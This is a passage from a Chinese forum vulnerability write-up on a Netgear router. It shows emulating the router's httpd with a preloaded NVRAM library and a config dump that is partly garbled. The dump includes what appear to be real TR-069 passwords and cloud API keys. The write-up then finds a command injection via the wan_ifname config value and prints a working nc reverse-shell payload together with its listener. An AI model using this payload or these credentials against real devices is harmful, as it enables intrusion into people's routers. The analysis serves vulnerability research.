wps_model_number=EX6120
SC_FTR_1ST_HF_AND_DIGIT=0,*9#,*8#
SC_ACCT_1_ADV_CFB_TARGET=0000
TR_LOG=0
upnp_model_description=AC1200 Wifi Range Extender EX6120
DM_APPADDR_SVR_PORT_NODENAME=MTKPort
client_link_led=0
SC_PRV_SDP_RESTORE_ATTR=silenceSupp,silencesupp,ecan,X-fax,x-fax,fax,X-modem,x-modem,modem
SC_ACCT_1_ADV_DTMF_TYPE=0
SYSLOGD_REMOTE_ENABLE=0
ETC_PATH=/mnt
soc_id=MT762x
SC_ACCT_1_SIP_MWI_INTERVAL=86400
SC_SF_PHS_ENABLED=0
SC_ACCT_1_STATS_MO_FAILED=0
SC_MEDIA_CODEC_G711_PTIME=20
SC_ACCT_1_STATS_MT_RECVED=0
dhcpc_get_ip=0
wlg_sche_wlanstate=Enable
SC_ACCT_1_MEDIA_3RD_CODEC=9
lan_dns=0.0.0.0
SC_EMERG_REGISTRATION=1
SC_ACCT_1_TIMER_HANG_RMD_1=15
SC_ACCT_1_STATS_MT_ANSED=0
AccessPolicy8=0
TR_INFORM_ENABLE=1
ap_band=2.4G
SC_SF_HARQ_ENABLED=0
psr_alias_oui_2=02:14:6C:00:00:00
SC_ACCT_1_SD_ENABLE=0
SC_PRV_WMX_MS_INIT_SF=0
FixedTxMode=3
WAN_IP=0.0.0.0
DM_MF=MediaTek
TR_MF=MediaTek
ap_support_mode=2
WscMaxPinAttack=3
TR_SESSION_RETRY_COUNT=0
SC_LINE_1_TYPEII_CALLER_ID_ENABLE=1
SC_ACCT_1_SIP_REG_EXPIRY=900
DfsSwDisable=0
SC_FTR_3RD_HF_AND_DIGIT=2,*3#,*4#
WAN_PPP_TRIGGER=2
WAN_MASK=0.0.0.0
DM_BA_NODENAME=clear_diagnostics
TR_SESSION_MAX_RPC_CMD=/etc/init.d/cwmpd restart
TR_CR_PORT=60000
wla_obss_coex=1
SC_EMERG_NUM_FIRE=119,911
psr_alias_oui_4=02:1B:2F:00:00:00
WAN_PPP_IDLETIME=0
DM_WAIT_DOWNLOAD=0
AccessPolicy15=0
SC_SYS_APPLY_OUTBOUND_FROM_DHCP=0
DM_BA_SERVER_URL=http://diagnostics.clear.com/drmd/SyncML
SC_FTR_CONF_CREATE_STR=*41#
SC_ACCT_1_SIP_SEC_OUTBOUND_PORT=5060
SC_SF_SCHED_TYPE=5
DM_ACCSVR_ID=MTK_SVR
SC_SYS_SIP_SUPPORTED=100rel, timer
ApCliDefaultKeyID=1
MGMT_TELNET_LAN=1
WAN_MAC=00:00:00:00:00:00
SC_ACCT_1_SIP_USERNAME=1000
EtherTrafficBand=1
login_remember_enable=disable
SC_MEDIA_PORT_START=40000
SC_SYS_SIP_TRANSPORT_TYPE=0
wla_sche_wan_state=Enable
SC_ACCT_1_FAX_TYPE=0
TR_CFG_KEY_NUM=5
SC_ACCT_1_SIP_SEC_SEP_REG_ADDR=0.0.0.0
SC_ACCT_1_SIP_SESSION_REFRESHER=0
TR_DL_FW_TYPE=0
SC_ACCT_1_MEDIA_6TH_CODEC=3
SC_ACCT_1_SIP_SEC_REG_ADDR=0.0.0.0
DM_BA_CLIENT_AUTH=HMAC
SC_LINE_1_FLASH_DETECT_UP_LV=700
SC_AUTO_PROV_FTP_FILE_NAME=cpe${mac}mt71x9.cfg
SC_ACCT_1_SIP_PRI_DOMAIN=wimax
EDCCA_BLOCK_CHECK_TH=2
rootap_assoc=0
DM_STUNNEL_PORT=65000
LAN_PREFIX6=fc00::/64
SC_ACCT_1_SIP_SESSION_FLAG=0
EDCCA_AP_STA_TH=255
os_name=linux
SC_SYS_CFG_MAX_LINE=4
SYSLOGD_REMOTE_HOST=192.168.0.100
DM_IN_SELF_REGISTER=0
WSC_UUID_E1=e11e1cf9973a87ff3360e5f1777a2b1f
SC_FTR_HOLD_AND_RETRIEVE_STR=*4#
WAN_PPP_IPver=4
voip_ch_num=1
MGMT_WEB_WAN=1
WscSerialNumber=0000001
SC_FAX_REINVITE_ONLY_FROM_RECEIVER=1
ApCliKey3Type=0
SC_SF_MAX_LATENCY=50
TR_INFORM_BASETIME=0
SC_MEDIA_PORT_END=50000
TR_DRMD_DURATION=0
SC_SF_GRANT_INTRV=20
SC_FTR_HF_BG_SESS_HIGH_PRI=w
SC_PRV_RTP_IGNORE_MARKER_BIT=1
BusyIdleRatio=1
SC_PRV_SIP_MAX_REG_RETRY=5
SC_ACCT_1_SIP_REG_PORT=5060
wl_psr_mrpt=1
rpt_default_state=1
SC_SYS_SIP_PRIORITY_NORMAL_NUMS=4000,5000
SC_ACCT_1_SIP_PRI_SEP_REG_ADDR=0.0.0.0
SC_ACCT_1_ADV_CALL_WAITING_RESP_CODE=180
TR_BOOLEAN_TYPE=0
AccessPolicy11=0
SC_ACCT_1_MEDIA_RTP_DETECT_INTERVAL=40
WscManufacturer=NETGEAR, Inc.
IgmpSnEnable=0
SC_ACCT_1_SIP_SEC_DOMAIN=wimax
AccessPolicy13=0
SC_ACCT_1_NAT_SRV_PORT=3478
WAN_PPP_MAXCONNECTTIME=0
SC_AUTO_PROV_FTP_LOGIN_NAME=user
SC_ACCT_1_ADV_HOTLINE_TIMER=6
WAN_PPP_MPPESTATEFUL=0
DM_DD_DOWNLOAD=1
AccessPolicy7=0
DM_UNCOMPLETE=0
SC_ACCT_1_SIP_PROXY_ADDR=0.0.0.0
SC_SF_CS_QOS=120000
change_ether_port=0
nat_mode=0
TR_CA_PASSWD=wimax
SC_LINE_1_TONE_TYPE=0
SC_SYS_MAGIC_NUM=190915
dhcp2_ser_status=enable
SC_ACCT_1_ADV_REJ_MT_CALL_RESP_CODE=486
SC_FTR_ATTENDED_TRANSFER_STR=*7#
DM_SERVER_AUTH=MD5
SC_MEDIA_CODEC_G723_PTIME=30
SC_ACCT_1_ADV_CFB=0
DM_STUNNEL_TEST=0
SC_SYS_VOICE_JB_TYPE=1
ap_band_cur=2.4G
SC_SYS_SPEED_UP_DIALING_STR=#
DM_ACCNAME=MTK_SVR
SC_PRV_SDP_RM_REJ_ATTRS=1
SC_SYS_SIP_T1_INTERVAL=500
SC_EMERG_ENABLE=1
device_id=EX6120
SC_FTR_HOLD_STR=*52#
AutoChannelSkipList=12;13;14
wps_model_description=AC1200 Wifi Range Extender EX6120
TR_DEVSUM=InternetGatewayDevice:1.0[](Baseline:1)
SC_MEDIA_CODEC_G729_PTIME=20
SC_ACCT_1_SIP_SEC_SEP_REG_PORT=5060
SC_LINE_1_REVERSE_TIPRING=0
SC_FTR_AUTO_RETRV_DIAL_TIMEOUT=1
TR_DL_STATUS=0
SC_ACCT_1_STATS_MO_ATTEMPT=0
link_status=0
DM_DRMD_REPETION=0
SC_ACCT_1_SIP_PROXY_PORT=5060
SC_SYS_RTCP_SEND_INTERVAL=15
SC_ACCT_1_MEDIA_G723_RATE=0
HT_LDPC=1
ApCliAuthMode=OPEN
SC_ACCT_1_SIP_MWI_EVENT=message-summary
USB_COMPOSITE=3
SC_AUTO_PROV_ENABLE=0
SC_LINE_1_CALLER_ID_TYPE=4
EDCCA_AP_AP_TH=255
RadioOff=0
wla_no_cli_mix_mode=0
SC_FAX_PASSTHRU_LEC_ON=1
SC_FTR_CUSTOMER_TYPE=255
DM_OEM=MediaTek_OEM
TR_ACT_REBOOT_TYPE=0
WAN_OP_MODE=2
ApCliEncrypType=NONE
DM_PROVISION_LOCK=0
DM_DRMD_SRV_CONFIG=OMA
SC_MEDIA_CODEC_TELEVT_PT=101
SC_ACCT_1_TIMER_HANG_RMD_2=15
SC_FAX_T38_LEC_ON=1
DM_BA_SERVER_NONCE=12345
TR_UL_URL_TYPE=0
SC_MEDIA_CODEC_G726_40_PT=99
SC_SF_CS_SRC_IP=1
SC_LINE_1_REGION=0
rootap_linkrate=0
SC_LINE_1_RING_IMPEDENCE=1
DM_BA_ACCSVR_ID=Badrmd
without_hw_switch_ap=1
SC_EMERG_NUM_MEDICAL=120,911
DM_BA_ACC_AUTH_PREF=HMAC
SC_SYS_SIP_PRIORITY_URGENT_NUMS=1000,2000,3000
TR_CR_PATH=/cwmp/cr
SC_SYS_CFG_MAX_CALL=6
SC_EMERG_NUM_POLICE=112,119,911
SYSLOGD_ENABLE=1
SC_ACCT_1_SIP_SEC_REG_PORT=5060
SC_ACCT_1_ADV_CFU_TARGET=0000
SC_EMERG_NUM_GENERIC=112,911,119,110,120
WAN_IP_REQUEST_TIMEOUT=120
DM_NORMAL_SML_ENC=XML
psr_alias_oui_1=02:09:5B:00:00:00
SC_AUTO_PROV_FTP_LOGIN_PASSWD=passwd
stop_conflict_hijack=0
SC_ACCT_1_MEDIA_5TH_CODEC=3
WAN_PPP_USER:=English
SC_PRV_SIP_SE_FORCE_ENABLE=0
rootap_linkrate2=0
SC_ACCT_1_TIMER_FIRST_DIGIT=15
SC_ACCT_1_SIP_SESSION_METHOD=1
MGMT_TELNET_WAN=1
sta_band_cur=both
SC_FAX_LEC_FORCE_OFF=1
DM_SN_TYPE=0
SC_FTR_RELEASE_AND_RETRIEVE_STR=*2#
EDCCA_FALSE_CCA_TH=3000
SC_SYS_SIP_COMPACT_FORM_ENABLE=0
SC_ACCT_1_SIP_SEC_PROXY_PORT=5060
ApCliEnable=0
SC_ACCT_1_ENABLE=0
SC_SYS_FEATURE_DVCC=1
SC_MEDIA_CODEC_G723_FMTP=0
TR_CLIENT_PORT=0
router_arrow_led=0
os_version=2.6.36+
TR_INFORM_INTERVAL=3600
SC_FAX_PASSTHRU_PCMU=1
DM_BA_SERVER_PORT=80
SC_SYS_T38_STATIC_JB_LEN=210
slic_reset=7
SC_LINE_1_FLASH_DETECT_DN_LV=100
SC_FAX_ONLY_TIMER=5
AccessPolicy6=0
SC_SYS_CFG_BYPASS_DSP=0
SC_ACCT_1_STATS_MT_FAILED=0
wl_rpt_wlanstate1=Enable
CarrierDetect=0
SC_ACCT_1_SIP_PRI_OUTBOUND_PORT=5060
psr_alias_oui_5=02:1E:2A:00:00:00
SC_SYS_CFG_MAX_ACCT=4
SC_LINE_1_TYPEII_CALLER_ID_ACK=1
MGMT_SSH_LAN=1
LAN_PREFIX6_A=1
DM_SELFREG_DST_PORT=16998
SC_ACCT_1_TIMER_INTER_DIGIT=3
DM_BA_SERVER_AUTH=HMAC
SC_LINE_1_CNG=0
DM_BOOTSTRAP_NOTIFICATION=0
wps_model_name=EX6120
SC_ACCT_1_SIP_SEC_OUTBOUND_ADDR=0.0.0.0
SC_ACCT_1_SIP_PRI_PROXY_PORT=5060
SC_ACCT_1_SIP_PRI_REG_ADDR=0.0.0.0
AccessPolicy14=0
SC_ACCT_1_SYS_STAND_ALONE=0
SC_MEDIA_CODEC_ILBC_PT=104
TR_DL_STATE=0
SC_ACCT_1_SIP_PRI_PROXY_ADDR=0.0.0.0
SC_ACCT_1_ADV_CFNA_TARGET=0000
SC_LINE_1_DRC=1
SC_SYS_VOICE_PLC_ENABLE=1
SC_ACCT_1_ADV_CFU=0
DM_INTERVAL_ENABLE=1
slic_type=32176
DM_DEBUG=0
WscVendorPinCode=12345670
lan_gateway=192.168.1.250
DM_CLIENT_PORT=0
DM_NODESUPL=supl
SC_SF_CS_TOS=0
sta_list2=0
SC_SYS_SPEED_UP_DIALING=0
SC_ACCT_1_SIP_PRIORITY=0
SC_ACCT_1_ADV_HIDE_USER_ID=0
need_set_lang=1
psr_alias_oui_0=02:0F:B5:00:00:00
ht40_2g_psr=1
client_arrow_led=0
SC_ACCT_1_ADV_AUTO_DECLINE=0
SC_SF_CS_DST_PORT=1
SC_FTR_SERVICE_ENABLE=0
MacAddress=00:00:00:00:64:D2
TR_SYNC_DM_INTERVAL=5
wl0_psr_mrpt=1
SC_ACCT_1_MEDIA_ILBC_RATE=1
SC_ACCT_1_ADV_HOLD_METHOD=0
WAN_GRE_STATUS=Disconnected
TR_SYNC_DM_TYPE=0
dhcp_ser_status=enable
SC_ACCT_1_MEDIA_7TH_CODEC=3
SC_MEDIA_CODEC_G726_PTIME=20
SC_FTR_REJECT_WAIT_STR=*9#
StationKeepAlive=10
SC_FTR_HF_AND_DIGIT_ENABLE=0
WSC_UUID_Str1=e11e1cf9-973a-87ff-3360-e5f1777a2b1f
ApCliKey2Type=0
DM_NODENAME_WIMAXSUPP_OPERATOR=MTK
SC_ACCT_1_STATS_MT_CONNED=0
SC_AUTO_PROV_FTP_TIMEOUT=10
WscSetupLock=0
SC_AUTO_PROV_FTP_ADDR=0.0.0.0
RDRegion=CE
connect_status=0
EDCCA_ED_TH=90
WscDeviceName=EX6120
TR_COOKIE_TYPE=2
WAN_DNS=1,0.0.0.0 1,0.0.0.0 1,0.0.0.0
SC_FTR_4TH_HF_AND_DIGIT=3,*41#
wget_firmware_downloading=0
nvram_ver=1
LAN_IP=192.168.0.254
WAN_MTU=1500
SC_ACCT_1_MEDIA_RTP_DETECT_PKT_LOSS=30
WAN_ETHIP_PEERIP=0.0.0.0
SC_ACCT_1_SIP_DELAY_MEDIA=0
SC_ACCT_1_STATS_MO_CONNED=0
apClient=1
DM_ACC_SVR_NODENAME=serverAuth
wlg_sche_wan_state=Enable
SC_MEDIA_CODEC_G726_24_PT=97
SC_FTR_AUTO_RETRV_DIAL_FAIL=1
ApCliKey1Type=0
rootap_assoc2=0
VHT_BW=1
SC_ACCT_1_SIP_PRI_SEP_REG_PORT=5060
TR_M_DL_QUEUE=2
WAN_TYPE=2
sta_list=0
VHT_SGI=1
SC_FTR_HF_DIGIT_TIMER=3
LAN_MTU=1500
TR_REDIR_COOKIE_TYPE=0
SC_ACCT_1_SIP_OUTBOUND_PORT=5060
SC_ACCT_1_AUTO_SWITCH=0
VOCONF_VOIP_INI_PATH=/usr/voip
SC_MEDIA_CODEC_G726_32_PT=98
SC_SYS_QOS_RTP_TOS=0x38
DM_BA_SERVER_ID=badrmd
DM_IN_BOOTSTRAP=0
SC_ACCT_1_DP_COMMON=x.T
AccessPolicy10=0
SC_ACCT_1_SIP_DISPNAME=1000
DM_SELFREG_SRC_PORT=16998
WAN_PROTO=0
SC_ACCT_1_SIP_REG_ADDR=0.0.0.0
DM_BOOTSTRAP_WIB=0
TR_DL_FW_SCRIPT=/bin/fwupdate.sh
load_defaults=1
DM_INTERVAL_AUTO=0
SC_LINE_1_VOGAIN_RX_LV=0
SC_SYS_QOS_SIP_TOS=0x2E
SC_ACCT_1_SIP_PRI_OUTBOUND_ADDR=0.0.0.0
WscLockForeverPinAttack=3
EDCCA_AP_RSSI_TH=-80
wla_sche_wlanstate=Enable
SC_ACCT_1_SIP_USER_AGENT=UserAgent
SC_ACCT_1_ADV_DND_RESP_CODE=480
WAN_GRE_PEERIP=0.0.0.0
SC_PRV_WMX_BSID_FMT=%02X%02X%02X%02X%02X%02X
SC_LINE_1_RTP_IGNORE_MARKER_BIT=0
TR_RETRY_MAXTIMES=-1
SC_SYS_LED_CFG=0
TR_UL_FW=0
ApCliKey4Type=0
TR_MAX_AUTH_FAIL_RETRY=5
DM_BA_CLIENT_NONCE=12345
TR_CA_REQUIRED=0
SYSLOGD_LOG_LEVEL=7
wan_protonvram_get_buf:=1
wla_sche_wan_statenvram_get_buf:=00:00:00:00:08:00
sem_get:=: Key: true: Key: nvram_get_buf414cb903
rootap_assocnvram_get_buf=0:
nvram_matchsta_list2:=: Key: 0false414cb903
WAN_DNS:=10.10.10.254
restart_all_processesHT_AutoBA=1
wlg_wlanstatenvram_get_buf:=1
eco_tools_dir=/tmp/media/nand/cp.d/cpinst
wps_wer_mode=allow
wl_obss_coex=1
wl_stbc_rx=1
led_blink_mode=0
eco_http_port=5050
wl_rxchain_pwrsave_stas_assoc_check=0
wl_plc=0
eco_log_file=/tmp/media/nand/log/common.log
eco_ext_cgi_dir=/tmp/media/nand/cgi
eco_soap_ifname=br0
wl_radio_pwrsave_stas_assoc_check=0
wl_radio_pwrsave_quiet_time=1800
eco_mount_point=/tmp/media/nand
eco_server_url=http://updates.netgear.com/ecosystem/repo
mtd3_lang_version=sem_get: Waiting for semaphore timeout (Key: 411000fa, Semaphore: 8001)...
wla_wlanstate:=0
ipv6_ntp_servers=15 enable_sta_mode
falsenvram_match:=disable:
nvram_get_bufnvram_get_buf:=) ?
wps_aplockdown:=...
mtd13_lang_version:=10.0.0.138
nvram_get_bufnvram_get_bufsem_get:=false
enable_password_recovery:=enabled
Key:=0: wlg_repeaternvram_match: lan_netmask
usb_http_enable:=...
nvram_get_bufnvram_matchsem_get8001sem_get:=: )...
need_to_load_basic=1
ac_dev_name0=0:.
usb_http_enablenvram_get_buf:=0
cwmp_pinterval=86400
cwmp_acsurl=http://tr69.talktalk.net/comserver/node1/tr069
wifi_mac14=72:54:00:12:34:55
cwmp_eventcode=0
wifi_radius_port4=1812
cwmp_cpeuser=netgearcpe
cwmp_pinitv=1
wifi_radius_port2=1812
cwmp_cpeport=7547
cwmp_pintimeout=5000
wifi_radius_port3=1812
wifi_mac13=72:54:00:12:34:54
cwmp_pinnum=1
fw_in_rules_flag=0
cwmp_catype=dls
wsc_device_pin=94229882
wsc_config_state=0
cwmp_upgrademg=0
online_time=0
cwmp_wandslcfgenable=0
cwmp_iface=wan
cwmp_wanipconnection=1
cwmp_wanconnectiondevice=1
cwmp_acsuser=netgearcpe
cwmp_eventstruct=0
cwmp_pinfe=1
cwmp_ptime=0000-00-00T00:00:00
cwmp_wanpppconnection=1
new_pvc=0
cwmp_enable=1
cwmp_upgrade=1
rt_static_route_flag=0
cwmp_acspwd=4c5acce55m3th0d
cwmp_wanipconenable=1
cwmp_cpepwd=4c5acce55m3th0d
cwmp_ssl_enable=1
cwmp_pinsize=60
wsc_config=ap-pbc
bserv_ctrl=0
fw_action=2
ipv6_lan_ipaddr=: Unable to get semaphore!
usb_wan_ftp_enablenvram_get_buf:=1
wan_default=1
wlg_wlanstate:=dhcp
wsc_pin_disablegui_region=English
WifiSchedule_5GRadioDownnvram_get_buf:=enabled
ntp_is_syncednvram_get_buf:=dhcp
auto_enablenvram_get_buf:=enabled
wl0_nctrlsb=upper
wl0.1_macmode=disabled
wl0.1_radio=1
wl_access_ctrl_on=0
configured=0
wl0_auth=2
enable_wizard=1
Language_Selection=Auto
lan1_wps_oob=enabled
lan_dhcp=1
lan1_wps_reg=enabled
wl0.1_mode=ap
timereset=5
dhcpd_internal=1
wl0.1_wps_mode=enabled
wl0_nmode_protection=auto
wps_success_mode=0
wl_sectype=1
ses_event=2
watchdog=5000
wl_wfi_pinmode=0
wl0.1_key=1
StringTable_NonEnglish_Ver=V1.0.0.0
wl0_nbw_cap=1
Enable_GUIStringTable=1
ses_wds_mode=1
ses_enable=1
setup_wizard_tag=1
wl_wfi_enable=0
pin_counts=0
board_region_default=1
wl0.1_ssid=NETGEAR_EXT
auto_check_for_upgrade=1
ca_finish_success=0
lang_available=1 2 3 4 5 6 7 8 9
ses_cl_enable=1
wl_acl_num=0
GUI_Region=English
first_time_login=0
wl0.1_bss_enabled=1
endis_ssid_broadcast=1
wl0_nmode=-1
ca_finish=0
wl0_vifs=wl0.1
nvram_version=1
endis_pin=0
ses_cl_event=0
dns_hijack=0
ap_client=1
regrev=14
lan2_ifnames111=br1
il0macaddr=00:FF:FF:FF:FF:FF
mcs2gpo2=0x8000
wps_unit=0
cck2gpo=0x0000
wl0_closed=0
ledbh0=0x82
wl0_wme=on
ccode=US
wl0_country_code=US
wsc_device_name=WNR1000v3 (Wireless AP)
telnet_enable=0
txant=3
ledbh3=11
pa0b0=0x1865
wl0_psq_size=64
wl0.1_auth=0
mcs2gpo=0xaaa20000
wl_hwaddr=00:FF:FF:FF:FF:FF
is_modified=0
mcs2gpo0=0x0000
sromrev=3
wl0_plcphdr=long
wl0_dtim=2
pa0b2=0xfeab
br0_ifnames=vlan2 eth1
wps_proc_status:=5
wl0.1_ap_isolate=0
wl0.1_closed=0
mcs2gpo1=0xaaa2
wl0_bcn=100
wl0_ampdu_txq_size=512
wl0_ap_isolate=0
antdiv=3
ofdm2gpo=0x88220000
ledbh2=11
wl0_txq_size=320
wl0_frag=2346
wl0_macmode=disabled
l2tp_serv_ip=10.0.0.138
pa0b1=0xfa23
mcs2gpo3=0xccc8
pa0maxpwr=90
wl0.1_wme_bss_disable=0
ledbh1=11
wl0_rts=2347
wl0.1_unit=0.1
gpio_wps_triggered=0
wl0.1_dwds=1
wl_dns_skipctf=1
wl0_psr_mrt=1
go_to_page=info.html
wl_bss_opmode_cap_reqd=0
wl_msglevel=0x101
wl_assoc_retry_max=3
wps_pbc_vbtn_trigger=1
enable_ether_counter_for_dhcpd=0
cur_opmode=130Mbps
wla_crypto=tkip
wl0_dwds=1
pppoenvram_match:=falseEnable
auth_fail_times=1
user_agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4951.64 Safari/537.36
cwmp_oui=0026F2
cwmp_rt_static_route_flag=0
cwmp_modelname=R6220
cwmp_fw_in_rules_flag=0
cwmp_pvcode=R.6220
sso_stage=prod
sso_url_3=https://appcom.up.netgear.com/UpBackend/deviceRegistration/
0:ed_thresh2g=-53
1:ed_thresh5g=-58
1:dy_ed_thresh=1
sso_timeout=10
sso_url_2=https://ocapi.netgear.com/api/v2/ocAuth
sso_url_7=https://ocapi.netgear.com/api/v2/ocRequestPasswordReset
bd_activated=0
genie_enable_bd=1
sso_url_4=https://appcom.up.netgear.com/UpBackend/modifyBDStatus/
sso_url_0=https://ocapi.netgear.com/api/v2/user/session
bd_enabled=1
sso_url_9=https://nimbus.bitdefender.net/bconnect/netgear_redeem_mgmt
sso_url_6=https://appcom.up.netgear.com/UpBackend/updateBD/
x_agent_handler_name=1001
sso_url_5=https://appcom.up.netgear.com/UpBackend/setUserData/
ntp_manual_server=0
sso_netgear_email=routerlogin@netgear.com
1:ed_thresh2g=-58
genie_sso_error_message=1
sso_one_cloud_api_key=2a288a1a1561e6a752bc59cbe0132018a7830b96117bcdb1fe67f956cd78288e
ctf_fa_mode=2
sso_up_backend_api_key=duhSjhrUjvM6BIRdzJz7F3CZ5B66zjAodjbfIzZu1FSbxFeB7KxRIwYAXrf3e2WL
aws_fw_wait_report_time=60
up_base_url=https://devcom.up.netgear.com/UpBackend/
sso_url_8=https://nimbus.bitdefender.net/bconnect/netgear_redeem_mgmt
0:dy_ed_thresh=1
sso_url_1=https://ocapi.netgear.com/api/v2/ocRegister_v2
x_force_connection=1
x_agent_registered=1
wps_pbc_apsta_concurrent=enabled
mtd6_lang_version=Unable to get semaphore key! Utilize altenative key.. by SR
link_rate_packet=dummy
wl_radio_pwrsave_on_time=50
```

编译为 acosNvramConfig.so 后放到 lib 目录:

```bash
# arm-linux-gnueabi-gcc -shared -fPIC acosNvramConfig.c -o acosNvramConfig.so -ldl
```

需要更新 route.cfg，将 lan_ipaddr=192.168.1.1 修改为本机地址 127.0.0.1，然后运行以下命令:

```bash
# LD_PRELOAD=acosNvramConfig.so /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem
```

访问 b66K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8R3`.`. 提示以下错误:

```bash
Device is not authorizied!
```

报错代码如下:

![BOARD ID](upload/attach/202512/920134_R2K5XTAU5VEVW6H.webp)

dword_1439FA4 的值来自 is_authorizied() 函数:

![BOARD ID](upload/attach/202512/920134_JKMRRSWVJ96DAPE.webp)

is_authorizied 函数在 libacos_nvram.so 中，代码如下:

![BOARD ID](upload/attach/202512/920134_UXND7JMKT5NP89G.webp)

功能是取 NVRAM 的 board_id 来与 U12H449 等做比较，搜索 U12H449 选择 U12H449T00_NETGEAR 做为 board_id:

![BOARD ID](upload/attach/202512/920134_EQS9YDBJWMHSUT6.webp)

更新 route.cfg 增加 board_id=U12H449T00_NETGEAR 后,访问 eb4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8Y4y4@1j5i4u0@1i4K6u0W2K9s2c8E0 成功，但是有时候出现不明原因的 (Segmentation fault) - core dumped:

![START HTML](upload/attach/202512/920134_CNE94SRC5KZ6M7K.webp)

## 漏洞分析

在访问 ipv6_disable.cgi 时，有如下的代码:

```c
v11 = (const char *)acosNvramConfig_get((int)"wan_ifname");
snprintf(s, 0x80u, "ifconfig %s mtu %d", v11, v9);
system(s);
```

从 NVRAM 中读取了 wan_ifname 的值做为 system 的参数:

![VULNERABILITY CODE](upload/attach/202512/920134_922J6QT55CW59SX.webp)

而 wan_ifname 的值可以通过 990K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4x3U0N6Q4x3X3f1H3i4K6u0W2x3q4)9J5k6e0q4Q4x3V1k6n7b7f1E0Q4y4h3k6T1j5h3y4C8N6i4m8Q4x3X3g2Z5N6r3@1`. 恢复备份文件的功能来设置:

上传文件代码如下:

![RESTORE CODE](upload/attach/202512/920134_4N88WMEYSXAQ9BE.webp)
![RESTORE CODE](upload/attach/202512/920134_H9WTXQ87BTVBFK2.webp)

libacos_nvram.so 的 shared_acos_nvram_restore_configuration 代码如下:

![RESTORE CODE](upload/attach/202512/920134_TEZSR8UVRZ4KUGD.webp)

恢复配置代码只是一个简单的 CP。

修改 route.cfg 文件的 wan_ifname=eth0&rm /tmp/f 2>/dev/null; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.3.3 9999 > /tmp/f& 进行测试，

打开监听端口9999:

```bash
# nc -lvvp 9999
Listening on 0.0.0.0 9999
```

打开 8ffK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4x3U0N6Q4x3X3f1H3i4K6u0W2x3q4)9J5k6e0q4Q4x3V1k6u0f1q4j5$3i4K6g2X3k6r3W2K6j5h3u0D9k6g2)9J5k6h3S2@1L8b7`.`. 页面 , 点击 Apply 按钮 ， 就获取到了反弹SHELL:

![IPV6 DISABLE](upload/attach/202512/920134_XDM42UU57UK4YBB.webp)

![REVERSE SHELL](upload/attach/202512/920134_MN6S7UW6YJH52SS.webp)

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最新回复 (23)
wx_解放夸克雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 2 回帖 7 粉丝 0 关注私信	wx_解放夸克 2 楼学习了 2025-12-18 11:35 0
wx_sw 雪币： 214 活跃值： (304) 能力值： ( LV12，RANK：210 ) 在线值：发帖 6 回帖 24 粉丝 2 关注私信	wx_sw 1 3 楼 2025-12-30 21:06 0
mangovo 雪币： 488 活跃值： (1288) 能力值： ( LV3，RANK：20 ) 在线值：发帖 4 回帖 7 粉丝 4 关注私信	mangovo 4 楼 2026-1-5 13:30 0
mb_shzsxtje 雪币： 1157 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 35 粉丝 0 关注私信	mb_shzsxtje 5 楼 2026-1-6 10:28 0
0xroot 雪币： 1044 活跃值： (1503) 能力值： ( LV4，RANK：50 ) 在线值：发帖 4 回帖 19 粉丝 9 关注私信	0xroot 1 6 楼 2026-1-15 11:12 0
hikonaka 雪币： 235 活跃值： (540) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 2 粉丝 3 关注私信	hikonaka 7 楼 111 2026-1-20 17:06 0
wx_ ╰☆L玄V0心E☆╮ 雪币： 330 活跃值： (1149) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 41 粉丝 1 关注私信	wx_ ╰☆L玄V0心E☆╮ 8 楼感谢分享[ 2026-1-20 22:03 0
红色技术人员雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	红色技术人员 9 楼感谢分享 2026-1-25 11:34 0
CAFRT 雪币： 1110 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	CAFRT 10 楼 mark 2026-1-25 13:24 0
_xyp9x 雪币： 98 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	_xyp9x 11 楼 mark 2026-1-28 00:47 0
xudaguo 雪币： 500 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	xudaguo 12 楼牛 2026-3-1 16:31 0
一三三七五三雪币： 0 活跃值： (629) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	一三三七五三 13 楼 mark 2026-3-1 20:45 0
MI_XI___ 雪币： 19 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	MI_XI___ 14 楼好 2026-3-3 19:33 0
mb_rhetjjvn 雪币： 313 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_rhetjjvn 15 楼好???? 2026-3-13 08:47 0
mb_nvicncww 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_nvicncww 16 楼好 2026-3-17 09:52 0
mb_enyouvvi 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	mb_enyouvvi 17 楼 1 2026-3-17 17:17 0
mb_nrnmqaim 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_nrnmqaim 18 楼 1 2026-3-18 09:56 0
mb_nrnmqaim 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_nrnmqaim 19 楼 2026-3-18 09:56 0
